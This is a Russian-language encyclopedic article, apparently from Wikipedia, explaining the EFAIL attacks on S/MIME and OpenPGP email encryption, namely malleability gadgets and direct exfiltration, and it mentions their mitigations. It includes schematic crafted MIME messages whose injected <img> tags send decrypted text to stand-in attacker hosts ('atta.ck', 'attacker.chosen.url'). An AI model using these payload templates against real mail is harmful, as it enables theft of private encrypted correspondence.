EFAIL

Для успешной реализации атаки злоумышленнику необходим доступ к шифрованным версиям атакуемых электронных писем. Это возможно, например, из-за отсутствия транспортного шифрования либо в результате успешной атаки на почтового провайдера. Дополнительно атакующий должен иметь возможность отправить изменённую версию письма хотя бы одному уязвимому получателю либо изменить письмо во время его транспортировки или в месте хранения.

В первом варианте, так называемой атаке с использовнием malleability gadget (от англ. malleability — «изменяемость» и gadget — «устройство»), злоумышленник целенаправленно модифицирует шифротекст письма, чтобы внедрить в зашифрованное сообщение новые блоки открытого текста. Для успешной атаки необходимо, чтобы система шифрования не защищала содержимое от изменений, например с помощью кода аутентификации сообщений или Modification Detection Code, MDC. Тогда такие изменения можно вносить без знания приватного ключа.

В результате декодирования модифицированного сообщения появляется новый текст, например, HTML-тег <IMG>, при обработке которого почтовый клиент отправляет содержимое письма злоумышленнику.

Пример S/MIME-сообщения, модифицированного с помощью Malleability Gadgets:

Зашифрованное S/MIME-сообщение после модификации злоумышленником имеет следующую структуру (символ | указывает границы блоков AES):

MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
	smime-type=enveloped-data;
	name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7m"

|attackertextatta|ckertextattacker|
|textattackertext|attackertextatta|ckertextattacker|textattackertext|ENCRYPTEDMESSAGE|attackertextatta|

После расшифровки модифицированного сообщения почтовый клиент, например, получит следующий открытый текст:

|Content-type: te|xt/html         |
|<img    ignore="|????????????????|"  src="atta.ck/|????????????????|СЕКРЕТНОЕСООБЩЕНИЕ|">              |

Такой подход приводит к появлению случайных байтов (обозначены «?») в расшифрованном тексте. В приведённом примере они комментируются с помощью несуществующего атрибута «ignore», чтобы избежать ошибок при разборе HTML. При попытке загрузки изображения почтовый клиент невольно отправляет секретный текст на сервер злоумышленника. Атака с применением Malleability Gadget актуальна для всех реализаций S/MIME до включительно версии 3.2, поскольку только в 2019 году с выходом версии 4.0 был введён механизм защиты от изменения шифротекста в ответ на атаку EFAIL. Для защиты в OpenPGP типично используется MDC всеми современными алгоритмами по умолчанию, но его применение не является обязательным и вопросы обработки отсутствующего или некорректного MDC оставлены на усмотрение реализации^[1][2].

Второй тип атаки — direct exfiltration (прямая эксфильтрация) — основан на ошибках реализации стандарта MIME в почтовых клиентах и не затрагивает напрямую сами стандарты S/MIME или OpenPGP. Злоумышленник добавляет специальные вставки до и после зашифрованного текста, формируя таким образом многочастное MIME-сообщение (multipart/mixed), а также изменяет структуру письма так, что зашифрованная его часть вместе с маркерами границ MIME оказывается внутри параметра HTML-тега:

Пример S/MIME-сообщения, модифицированного для прямой эксфильтрации:

Content-Type: multipart/mixed; boundary="BOUNDARY"

--BOUNDARY
Content-Type: text/html

<img src="http://attacker.chosen.url/
--BOUNDARY
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
	smime-type=enveloped-data;
	name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7m"

ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGE…
--BOUNDARY
Content-Type: text/html

">
--BOUNDARY--

Почтовый клиент разбирает многочастное сообщение по маркерам BOUNDARY на отдельные части и осуществляет расшифровку вложенного сегмента. Затем клиент заново объединяет все части для отображения их в одном окне. Полученный HTML-код будет выглядеть следующим образом:^[2]

[...]
<img src="http://attacker.chosen.url/
СЕКРЕТНОЕСООБЩЕНИЕСЕКРЕТНОЕСООБЩЕНИЕСЕКРЕТНОЕСООБЩЕНИЕ
">
[...]

В подобных сообщениях расшифрованное содержимое передаётся в качестве значения атрибута src= в HTML-теге <img>, и при обращении к ресурсу почтовый клиент отправляет этот URL на сервер злоумышленника (attacker.chosen.url). Таким образом злоумышленник может получить содержимое письма, например, анализируя журналы веб-сервера.